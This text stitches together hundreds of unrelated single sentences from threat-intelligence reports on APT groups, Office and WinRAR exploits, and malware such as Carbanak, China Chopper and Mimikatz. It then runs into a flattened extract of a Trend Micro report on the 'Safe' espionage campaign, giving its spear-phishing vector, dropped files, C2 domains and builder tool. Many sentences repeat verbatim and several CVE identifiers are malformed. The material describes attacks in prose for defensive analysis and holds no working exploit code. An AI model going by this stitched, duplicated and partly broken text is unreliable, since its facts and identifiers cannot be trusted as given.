Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
In another instance ,APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
At the time of analysis , the subdomains did not host a website; however ,based on BITTER APT group’s targeting patterns ,it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface (AMSI) .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
CTU researchers have evidence that the TG-3390 compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
APT33 often conducts spear-phishing operations using a built-in phishing module .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
APT34 often uses compromised accounts to conduct spear-phishing operations .
Safe A TARGETED THREAT By: Nart Villeneuve and Kyle Wilhoit Forward-Looking Threat Research Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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Contents Introduction ..........................................................................................................1 Attack Vector .......................................................................................................2 Malware ...............................................................................................................3 First Stage .....................................................................................................3 Second Stage ...............................................................................................5 Plug-Ins .........................................................................................................5 Tools ..............................................................................................................5 CC .....................................................................................................................6 Campaign Connections .......................................................................................7 Identification of Victims ........................................................................................7 Tools ....................................................................................................................9 TypeConfig/SafeDisk ....................................................................................9 DECRYPT.exe.............................................................................................10 Common Tools ............................................................................................10 Source Code...................................................................................................... 11 TypeConfig.exe/SafeDisk.exe Source Code Analysis .................................12 CC Source Code ......................................................................................13 Attribution ..........................................................................................................13 Developers ..................................................................................................14 Operators ....................................................................................................16 Conclusion .........................................................................................................17 Defending Against Targeted Attacks ..................................................................18 Local and External Threat Intelligence ........................................................18 Mitigation and Cleanup Strategy .................................................................19 Educating Employees Against Social Engineering .....................................19 Data-Centric Protection Strategy ................................................................19 Trend Micro Threat Protection Against the Safe Campaign ..............................19 References ........................................................................................................21 Safe: A Targeted Threat Introduction Whether considered advanced persistent threats (APTs) or malware-based espionage attacks, successful and long-term compromises of high-value organizations and enterprises worldwide by a consistent set of campaigns cannot be ignored.
Because noisier campaigns are becoming increasingly well-known within the security community, new and smaller campaigns are beginning to emerge.
This research paper documents the operations of a campaign we refer to as Safe, based on the names of the malicious files used.
It is an emerging and active targeted threat.
Note that any mention of SafeNet in this paper is completely unrelated to and has no association with SafeNet, Inc., a global leader in data protection and a valued partner of Trend Micro.
The author of the Safe malware apparently maliciously used the word SafeNet as part of this viral campaign, and to the extent the word SafeNet appears in this paper, it appears solely as replicated in the attacking authors malware configuration.
There is no correlation between SafeNet Inc. and the Safe campaign and should not be interpreted as such.
The Safe campaign was able to compromise the following types of organizations: Government ministries Technology companies Media outlets Academic research institutions Nongovernmental organizations While we have yet to determine the campaigns total number of victims, it appears that nearly 12,000 unique IP addresses spread over more than 100 countries were connected to two sets of command-and-control (CC) infrastructures related to Safe.
We also discovered that the average number of actual victims remained at 71 per day, with few if any changes from day to day.
This indicates that the actual number of victims is far less than the number of unique IP addresses.
Due to large concentrations of IP addresses within specific network blocks, it is likely that the number of victims is even smaller and that they have dynamically assigned IP addresses, which have been compromised for some time now.
Investigating targeted campaigns involves more than simply collecting actionable indicators like malware samples and CC server information.
Investigating and monitoring the activities of the Safe campaign over time, we were able to take advantage of the mistakes the attackers made and thus gain a deeper understanding of their operations.
One of the CC servers was set up in such a way that the contents of the directories were viewable to anyone who accessed them.
As a result, not only were we able to determine who the campaigns victims were, but we were also able to download backup archives that contained the PHP source code the attackers used for the CC server and the C code they used to generate the malware used in attacks.
Safe: A Targeted Threat The author of the malware used in the campaign is probably a professional software developer who studied at a technical university in China.
This individual appears to have repurposed legitimate source code from an Internet services company in the same country for use as part of the campaigns CC server code.
As such, this may be a case in which a malware entrepreneurs code was used in targeted attacks.
In addition to understanding the tools and techniques used in this campaign, we had the opportunity to analyze the data to determine its source.
While the information that we obtained suggested the identity of the malware author, we were not able to attribute the campaign operation to him.
In fact, while we were able to identify the various IP addresses used by the operators, the geographic diversity of the proxy servers and VPNs made it difficult to determine their true origin.
Attack Vector The distribution mechanism the Safe campaign used involved spear- phishing emails that contain a malicious attachment.
This technique, which is quite common for APT campaigns, encourages a recipient to open a malicious attachment by sending an email with contextually relevant content.1 We discovered several malicious documents that all exploited a Microsoft Office vulnerability (i.e., CVE-2012-0158).2 If opened with a version of Microsoft Word that is not up-to-date, a malicious payload is silently installed on the users computer.
Figure 2: Sample decoy documents 1 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear- phishing-email-most-favored-apt-attack-bait.pdf 2 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 Figure 1: Sample Safe spear-phishing email (aka attack vector) http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 Safe: A Targeted Threat In addition to the Tibetan-themed attack vector, we found documents written in Mongolian though their exact targets remain unclear.
Malware First Stage Opening the malicious document on a system running a vulnerable version of Microsoft Office opens the decoy document for the user to view.
Note though that this also drops malicious files onto the system that allows the attackers to take control of it.
After the initial compromise, the attackers may then steal files from the compromised system.
The decoy document, NBC Interview_Excerpts.doc, has the MD5 hash, a2da9cda33ce378a21f54e9f03f6c0c9efba61fa.
It drops the following files: smcs.exe (91e6277a70d48ed953ac9208275e5dc855a8f7a7), which contains: SafeCredential.
DAT (303e982d0929ca2c50809323dff66be38a46926a) SafeExt.org (2029399fb4be3d88c2ba0a7544b1ebec58157639), which contains: SafeExt.dll (cde35c8da8c420aeaf5adda14ba68d18010479fa) The malware the malicious documents drop has several components, including: SafeExt.dll: Contains the malwares main functionality.
SafeCredential.
DAT: Contains the RC4 key, CC information, and campaign mark.
If User Account Control (UAC) is active, SafeExt.dll will be injected into explorer.exe.
Otherwise, the file is copied to Program Files\Internet Explorer\SafeNet\ and registered as a Browser Helper Object (BHO).3 Figure 3: RC4 key, CC information, and campaign mark 3 http://en.wikipedia.org/wiki/User_Account_Control and http://en.wikipedia.org/wiki/Browser_ Helper_Object http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/Browser_Helper_Object http://en.wikipedia.org/wiki/Browser_Helper_Object Safe: A Targeted Threat The malware then accesses a CC server over HTTP POST to send data using the domain name and URL path in SafeCredential.
DAT.
The network traffic is encrypted with the RC4 key in SafeCredential.
DAT.
One key indicator that can be used to detect this network communication is the user-agent, Fantasia.
During our investigation of the CC servers associated with Safe, we discovered a backup script that the attackers used to archive the files on them.
This allowed us to acquire the source code for the .PHP files used on the CC servers.
The data that the malware sends from a compromised host to report.php is decrypted by the CC server and stored in a MySQL database.
In addition to RC4 encryption use, the files content is XORed with the function in Figure 6.
The parameters of the query are unpacked and sent to a function that inserts the information the compromised host provides into the MySQL database.
It then checks the database to see if the attackers specified instructions to send to the compromised host.
If there are, these instructions are sent back to the compromised host.
Figure 7: Safes check-in function Figure 4: Check in with the CC server Figure 5: Safe backup script Figure 6: Safes VisualEncrypt function Safe: A Targeted Threat The REQUEST_TYPE_CLIENT_REQUEST function inserts a unique ID for each compromised host as well as the Internet and external IP addresses, hostname, Windows domain, the systems disc drive information, and a campaign mark.
It has a field to store information about any additional malware plug-ins that have been installed on the system.
The malware uses the following marks or campaign tags: 120713 120713p 123456 654321 c0814 C0821 L0821 Lewis120713px N0911 Weber0720p 720p L1224 Second Stage After the initial compromise, the attackers may instruct compromised systems to download additional malware and tools.
The tools that we discovered were located on the same CC servers.
Plug-Ins The data contained in the CC servers references plug-ins that are available for the malware.
We believe they are related to the malwares data-exfiltration capabilities.
The names of the plug-ins are: OpenDoc UsbDoc UsbExe Tools The tools used by Safe are off-the-shelf programs that are able to extract saved passwords from Internet Explorer (IE) and Mozilla Firefox as well as any stored Remote Desktop Protocol (RDP) credentials.4 4 The tools are publicly available at http://www.nirsoft.net/.
http://www.nirsoft.net/ Safe: A Targeted Threat Figure 8: Password extraction tools CC We found two sets of CC servers that do not seem to have anything in common apart from being used in conjunction with the same malware.
The first set of CC servers had Mongolian-themed domain namesmongolbaatar.
us and mongolbaatarsonin.in.
The second set of CC servers use the domains, getapencil.com, which was registered with a privacy protection service, and withoutcake.com, which was registered by wanxian126.
com.5 Willyoumarryadog.com may also be a CC server but we have not yet discovered samples that use this domain name.
Figure 9: Safe CC server infrastructure The Tibetan- and Mongolian-themed attack vectors described earlier are connected to the first infrastructure (i.e., mongolbaatar).
We were unable to discover attack vectors for the second CC infrastructure.
5 A variety of services can be used so the registrant information required to register a domain name will not be publicly visible in the WHOIS directory.
Safe: A Targeted Threat Campaign Connections One of the CC servers used, withoutcake.com, was registered using the email address, wanxian126.com.
This email address has been used to register 17 domain names, five of which have been confirmed to be CC servers.
Figure 10: Connections to other campaigns The domain, sugarsbutters.com, was used in attacks that leveraged images of Russian model, Irina Shayk, and dropped the iMuler malware that affects Mac OS X systems in November 2012.6 Three domainsaq5u.org, prettyb0yinus.
com, and shumetheme.orghave also been used as CC servers for campaigns using the Enfal malware.7 Identification of Victims We were able to identify victims in two ways.
First, we were able to download a list of victims that were currently online from the CC servers.
Second, we were also able to download logs from the CC servers that listed all of the IP addresses that checked in to them using the REQUEST_TYPE_CLIENT_ REQUEST function.
The first set of CC servers (i.e., mongolbataar) appeared to have only three live victimsone with an IP address assigned to South Sudan, another with an address assigned to Mongolia, and another that did not list an external IP address.
The logs we obtained from the first set of CC servers showed that 243 unique IP addresses from 11 different countries checked in to them.
6 http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.
aspx and http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml 7 http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/ TrojLuiha-BK/detailed-analysis.aspx and http://www.threatexpert.com/report.
aspx?md59d334262d146bd57a7adfb9b3e093f9f http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f Safe: A Targeted Threat Table 1: Country Breakdown of Unique IP Address Locations The logs we obtained from the second set of CC servers (i.e., getapencil.
com) showed that 11,563 unique IP addresses from 116 different countries checked in to them.
Table 2: Top 15 Country Breakdown of Unique IP Address Locations We discovered that on average, 71 victims accessed the getapencil.com CC server at any given time.
The actual total victim count was significantly lower than the number of unique IP addresses though.
Country Number of IP Addresses Mongolia 212 South Sudan 9 Bulgaria 8 China 4 United States 3 Canada 2 Hungary 1 South Korea 1 Australia 1 India 1 Egypt 1 Country Number of IP Addresses India 4,305 United States 709 China 625 Pakistan 554 Philippines 445 Russia 307 Brazil 283 Romania 248 Saudi Arabia 192 Algeria 180 United Arab Emirates 170 Serbia 161 Malaysia 154 Syria 151 Hungary 147 Safe: A Targeted Threat Tools A closer look at the CC servers allowed us to identify the tools and source code the threat actors used to create, distribute, and encrypt/decrypt data.
The tools presented in this section either came preassembled or could be compiled using the source code that could be downloaded from the getapencil.com CC server.
TypeConfig/SafeDisk The primary function of TypeConfig/SafeDisk appears to be embedding a backdoor into a valid .PE file.
This tool appears to be the primary method for creating the malware related to the campaign.
Figure 11: Data flow diagram showing TypeConfig malware creation Figure 12: TypeConfig and translated graphical user interfaces (GUIs) Safe: A Targeted Threat The fields in the TypeConfig GUI allow an attacker to specify a CC server location and data like the malwares name and version number, which are sent back to the attacker after a compromise.
DECRYPT.exe We also pulled the application, DECRYPT.exe, from a getapencil.
com CC server.
This application is a custom encrypter/decrypter for any file inputted into the application.
Further analysis of this application shows that it uses large portions of Makoto Matsumoto and Takuji Nishimuras Random Number Generator (RNG) for encryption functionality.8 Once the Decrypt button is pressed, a password validation box appears.
We were able to identify victim files that were on drop servers that utilize DECRYPT.exe for encryption/ decryption.
Common Tools We also identified security tools with both valid and nefarious purposes and have been used in other campaigns on the CC servers.
We listed some of these along with their functionality below: LZ77: Used to compress and decompress files.
